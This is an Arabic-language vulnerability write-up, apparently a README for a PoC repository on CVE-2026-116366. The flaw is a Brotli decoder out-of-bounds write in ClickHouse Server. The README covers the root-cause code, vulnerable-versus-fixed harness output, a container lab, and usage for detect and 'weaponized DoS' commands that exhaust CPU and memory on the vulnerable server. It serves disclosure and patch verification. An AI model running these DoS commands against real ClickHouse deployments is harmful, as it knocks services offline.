PoC، وكاشف تفاضلي، واستغلال DoS مسلّح، ومختبر مُحاوَز يقارن بين النسخة المصابة والنسخة المُصلَّحة لـ CVE-2026-116366، وهو RCE غير مُصادَق عليه في ClickHouse عبر كتابة خارج الحدود (OOB write) في مُفكِّك ترميز Brotli.
إثبات مفهوم (PoC)، ومختبر معزول بالحاويات، وتحليل للسبب الجذري لـ CVE-2026-116366
(CVSS 4.0 9.5 حرج، AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)،
وهي ثغرة تنفيذ تعليمات برمجية عن بُعد دون مصادقة في ClickHouse Server
ناتجة عن كتابة خارج الحدود في وحدة فك ترميز Brotli v1.2.0 المضمّنة
(وهو السبب الجذري نفسه لـ CVE-2026-111497).
| المتأثر (OSS) | 26.3 < 26.3.62.3-lts، 26.8 < 26.8.36.3-lts، 26.9 < 26.9.27.3-stable، 26.10 < 26.10.3.7-stable (الحالة الافتراضية: متأثر) |
| الإصدارات المُصلحة | v26.3.62.3-lts / v26.8.36.3-lts / v26.9.27.3-stable / v26.10.3.7-stable (2026-10-30) |
| تاريخ الإدخال | ClickHouse a4e1ef85eb (2026-09-09) — ترقية contrib brotli من v1.0.9 إلى v1.2.0 |
| أُصلحت بواسطة | ClickHouse 9f973a1aea (2026-10-22) — ترقية contrib إلى v1.2.1 (b418fa81c4 "Detect and report invalid stream earlier") |
| CWE | CWE-190 (سجل المورّد) — فئة أمان الذاكرة: كتابة خارج الحدود |
| المُبلِّغ (إلى المورّد) | Elshad Toklayev |
يضم ClickHouse Server ≥ 26.3 (منذ ترقية brotli في 2026-09-09) الإصدار brotli
v1.2.0، الذي يسوء تعامله مع تبديل كتلة غير قانوني: فالتدفق الذي
يعلن نوع كتلة واحدًا للمحارف الحرفية/الأوامر/المسافات ثم يطلب
تبديل كتلة يجعل DecodeBlockTypeAndLength() يفشل — لكن الفشل
لا يمكن تمييزه عن "يحتاج مزيدًا من المدخلات" ويُهمَل بصمت. يستمر
وحدة فك الترميز في العمل بحالة تالفة (block_length == 0، ومؤشرات شجرة Huffman
قديمة، وانتهاك ثابت موضع المخزن الحلقي)، مما يُنتج:
ProcessCommandsInternal() (يُتخطى شرط الحماية ringbuffer_size >= pos
بمجرد خروج pos عن النطاق) — من فئة RCE، ويعتمد على تخطيط الكومة
(CVSS AC:H)؛الثغرة قابلة للوصول قبل التفويض على مستوى مستوى البيانات: أي واجهة HTTP
(8123/8443) تقبل الطلب تُغلّف الجسم بـ
BrotliReadBuffer عند تعيين Content-Encoding: br. وفي التكوين الافتراضي
الواسع الانتشار للاستضافة الذاتية (المستخدم default، وكلمة مرور فارغة، وlisten_host
غير localhost) تكون هذه الثغرة دون مصادقة — وهي بالضبط "شروط معينة"
التي تصفها النشرة الأمنية.
contrib/brotli (v1.2.0) c/dec/decode.c:
static BROTLI_INLINE BROTLI_BOOL DecodeBlockTypeAndLength( // returns BOOL!
int safe, BrotliDecoderState* s, int tree_type) {
brotli_reg_t max_block_type = s->num_block_types[tree_type];
...
if (max_block_type <= 1) {
return BROTLI_FALSE; // "invalid stream" ...
} // ... same return value as "need input"
...
}
static void BROTLI_NOINLINE DecodeCommandBlockSwitch(...) { // void wrapper
DecodeCommandBlockSwitchInternal(0, s); // result dropped
}
#define BROTLI_SAFE(METHOD) { if (safe) { if (!Safe##METHOD) { \
result = NEEDS_MORE_INPUT; goto saveStateAndReturn; } } else { METHOD; } }
BROTLI_FALSE تعني كلاً من "نفاد المدخلات مؤقتًا" و*"هذا التدفق غير
صالح"*. يستدعي المسار السريع غير الآمن الغلاف void ويتجاهل
النتيجة تمامًا؛ أما المسار الآمن فيُبقي وحدة فك الترميز في حالة NEEDS_MORE_INPUT
إلى الأبد. وفي كلتا الحالتين تُنقل الحالة التالفة (طول الكتلة 0، وموضع
المخزن الحلقي خارج النطاق) إلى حلقة النسخ:
/* CommandInner, unsafe literal copy */
if (s->ringbuffer_size >= pos &&
(s->ringbuffer_size - pos) <= num_steps) {
num_steps = s->ringbuffer_size - pos - 1; // only clamped when pos <= size
}
num_steps = BrotliCopyPreloadedSymbolsToU8(..., s->ringbuffer, pos, num_steps);
// OOB write when pos > size
إصلاح v1.2.1 (ClickHouse brotli b418fa81c4) يحوّل العائلة بأكملها إلى
BrotliDecoderErrorCode، ويضيف BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH
(-17)، ويتحقق منه في كلا المسارين عبر الماكرو الجديد BROTLI_SAFE_WITH_STATUS.
كما يضيف BROTLI_DCHECK(s->meta_block_remaining_len <= (int)BROTLI_BLOCK_SIZE_CAP).
$ ./build-v120/harness-clean poc-err.br 4096 # ClickHouse 26.10.2.103 decoder
result=0 error=-9 (_ERROR_FORMAT_BLOCK_LENGTH_1) consumed=19/38 produced=16777216
$ ./build-v121/harness poc-err.br 4096 # ClickHouse 26.10.3.7 decoder
result=0 error=-17 (_ERROR_FORMAT_BLOCK_SWITCH) consumed=22/38 produced=16777216
$ timeout -s KILL 6 ./build-v120/harness-clean poc-dos.br 4096
Killed (exit 137 — decoder NEVER returns: permanent CPU spin)
$ ./build-v121/harness poc-dos.br 4096
result=0 error=-17 (_ERROR_FORMAT_BLOCK_SWITCH) ...
يُظهر البناء المُضلَّل المصاب بالفثرة الفشلَ المُهمَل مباشرةً:
[DBG] >>> INVALID BLOCK SWITCH hit (tree_type=0 max=1) safe=1 pos=2 — returning FALSE, WILL BE DISCARDED <<<
lab/
├── etc-vuln/{config.d,users.d} # listen 0.0.0.0 + empty-password default user
├── etc-fixed/{config.d,users.d}
└── payloads/
├── poc-err.br # trigger + 16×0x00 → error-path differential
└── poc-dos.br # trigger + 64×0x00 → permanent decoder spin
cve-2026-116366-vuln = clickhouse/clickhouse-server:26.10.2.103cve-2026-116366-fixed = clickhouse/clickhouse-server:26.10.3.7python:3.12-slim)./lab.sh up # start both servers (vulnerable + fixed)
./lab.sh detect # run poc.py against both; prints exit codes
./lab.sh dos 64 # weaponized thread/memory exhaustion demo against the vuln host
./lab.sh logs # vuln server logs
./lab.sh teardown
poc.py (المكتبة القياسية فقط):
python3 poc.py check --host 127.0.0.1 --port 8123 # fingerprint
python3 poc.py detect --host 127.0.0.1 --port 8123 # exit 1 = VULNERABLE, 0 = PATCHED
python3 poc.py dos --host 127.0.0.1 --port 8123 --n 64 # weaponized DoS
يعمل detect كتفاضل نظيف:
exit 1)؛Code: 448 DB::Exception: brotli decode error. فورًا
(أعاد فاكّ الترميز -17 BLOCK_SWITCH) (exit 0).| الاختبار | 26.10.2.103 (معرّضة للثغرة) | 26.10.3.7 (مُصلحة) |
|---|---|---|
POST /?max_query_size=20000000 + Content-Encoding: br (حمولة ERR) | Code: 448 بعد خطأ فك الترميز -9 (أُنتج 16 MiB أولًا) | Code: 448 فورًا، الخطأ -17 |
| نفسه مع حمولة DOS | لا يكتمل الطلب أبدًا — يدور خيط العامل بمعالج بنسبة 100% إلى الأبد (تم التحقق من 45+ ثانية من المعالج بعد قطع اتصال العميل)، ينمو RSS بنحو 60 MB/طلب (162 MB → 2.99 GB تحت 150 طلبًا متوازيًا، 1233% معالج) | رفض فوري بـ Code: 448 |
| 150 طلب DOS متوازٍ (حد 4 GB) | 2.99 GB RSS، أكثر من 12 نواة مُستهلكة، دائم | لا تأثير |
48 طلب DOS متوازٍ (lab.sh dos 48) | 48/48 فاكّ ترميز مزروع، ~90-100% معالج لكل منها (500% إجمالًا)، 1.6 GB RSS | لا ينطبق |
| على مستوى المكتبة (أداة الاختبار في هذا المستودع) | -9 / لا يعود أبدًا | -17 لكلتا الحمولتين |
| سلاسل أخرى قبل الإصلاح (تجريبيًا) | 26.8.34.13-lts و26.9.25.15-stable: غير معرّضة للثغرة (لا تزال تحزم brotli v1.0.9 — لم يصل ترقية v1.2.0 إلا إلى إصدارات 26.10.x المُصدَرة قبل الإصدار الأمني؛ نطاقات CVE تقريبية بحسب الحالة الافتراضية) | — |
يعتمد تحويل الثغرة إلى RCE (كتابة OOB مُتحكَّم بها بدلًا من الدوران/التعليق) على
تخطيط الكومة (AC:H)؛ يصنّف استشارة الإصلاح من المصدر العلوي الخطأ نفسه
بأنه "كتابة خارج الحدود تسمح بتنفيذ تعليمات برمجية عن بُعد"
(سجل تغييرات brotli للإصدار v1.2.1، مع الإشارة إلى CVE-2026-111497).